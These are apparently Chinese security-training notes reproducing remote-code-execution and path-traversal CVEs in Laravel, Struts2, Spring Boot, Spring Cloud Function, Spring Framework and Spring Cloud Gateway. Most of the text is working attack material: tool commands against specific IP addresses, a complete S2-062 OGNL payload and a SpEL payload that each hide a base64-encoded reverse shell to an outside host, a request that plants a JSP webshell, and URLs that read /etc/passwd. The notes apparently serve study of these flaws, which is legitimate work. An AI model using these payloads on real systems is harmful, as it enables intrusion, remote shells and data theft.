DAY81服务攻防-开发框架安全SpringBootStruts2LaravelThinkPHPCVE 复现

news2024/9/27 11:24:13

知识点：

1、PHP-框架安全-Thinkphp&Laravel

2、J2EE-框架安全-SpringBoot&Struts2

常见语言开发框架：

PHP：Thinkphp Laravel YII CodeIgniter CakePHP Zend等

JAVA：Spring MyBatis Hibernate Struts2 Springboot等

Python：Django Flask Bottle Turbobars Tornado Web2py等

Javascript：Vue.js Node.js Bootstrap JQuery Angular等

PHP-框架安全-Thinkphp&Laravel

Laravel

是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。

CVE-2021-3129 RCE

影响版本：Laravel <= 8.4.2

利用工具：GitHub - zhzyker/CVE-2021-3129: Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129)

./phpggc -l laravel

python3 exp.py http://123.58.224.8:51383/

Thinkphp

版本3.X RCE-6.X RCE

J2EE-框架安全-SpringBoot&Struts2

Struct2

Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。可能存在OGNL表达注入扩展，从而造成远程代码执行，风险极大。

旧漏洞(CVE-2016-0785等)

老的漏洞工具直接梭哈就行

struts2 代码执行（CVE-2020-17530）s2-061

影响版本：Apache Struts 2.0.0 - 2.5.25

工具虽然说没提供此漏洞的利用功能，但是实际上还是能执行RCE

https://github.com/YanMu2020/s2-062

(该脚本支持S2-062 (CVE-2021-31805) / S2-061 / S2-059 RCE)

python .\s2-062.py --url http://123.58.224.8:10363 --cmd id

Struts2 代码执行（CVE-2021-31805）s2-062

影响版本：Apache Struts 2.0.0 - 2.5.29

python .\s2-062.py --url http://124.70.19.63:27182/s2_062/index.action

post /s2_062/index.action

name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b

(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b

(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b

(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b

(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b

(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b

(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b

(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b

(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))

SpringBoot

监控配置不当利用

见前面Actuator-heapdump利用讲解

参考地址：https://blog.csdn.net/m0_60571842/article/details/135096224

Spring Boot 目录遍历（CVE-2021-21234）

Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞，攻击者可通过该缺陷读取系统任意文件。

windows

http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

linux

http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../

124.70.19.63:12374/manage/log/view?filename=etc/passwd&base=../../../../../../

Spring Cloud Function Spel表达式注入 CVE-2022-22963

Spring Cloud Function提供了一个通用的模型，用于在各种平台上部署基于函数的软件，包括像Amazon AWS Lambda这样的 FaaS（函数即服务，function as a service）平台。

影响版本：3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

复现参考：https://developer.aliyun.com/article/1160011

payload
POST：/functionRouter

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
123

Spring Framework远程代码执行漏洞 CVE-2022-22965

Spring Framework是一个开源应用框架，初衷是为了降低应用程序开发的复杂度，具有分层体系结构，允许用户选择组件，同时还为J2EE应用程序开发提供了一个好用的框架。

影响版本：

Spring Framework < 5.3.18

Spring Framework < 5.2.20

Spring Framework 的衍生框架构建的网站或应用

复现参考：https://www.csdn.net/article/2022-11-24/128026635

1、写后门tomcatwar.jsp

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

Host: localhost:8080

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

Connection: close

suffix: %>//

c1: Runtime

c2: <%

DNT: 1

2、访问jsp触发后门
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id

3、工具项目
https://github.com/BobTheShoplifter/Spring4Shell-PoC

python poc.py --url=http://124.70.19.63:61524/

Spring boot命令执行 (CVE-2022-22947)

影响版本：

Spring Cloud Gateway是Spring中的一个API网关。

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

其他旧的、不受支持的Spring Cloud Gateway 版本

手工复现参考：https://cloud.tencent.com/developer/article/2164533

1、首先，添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由，发送如下数据包：

POST /actuator/gateway/routes/test HTTP/1.1

Host: www.luckysec.cn:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Content-Type: application/json

Content-Length: 329

{

"id": "hacktest",

"filters": [{

"name": "AddResponseHeader",

"args": {

"name": "Result",

"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"

}

}],

"uri": "http://example.com"

}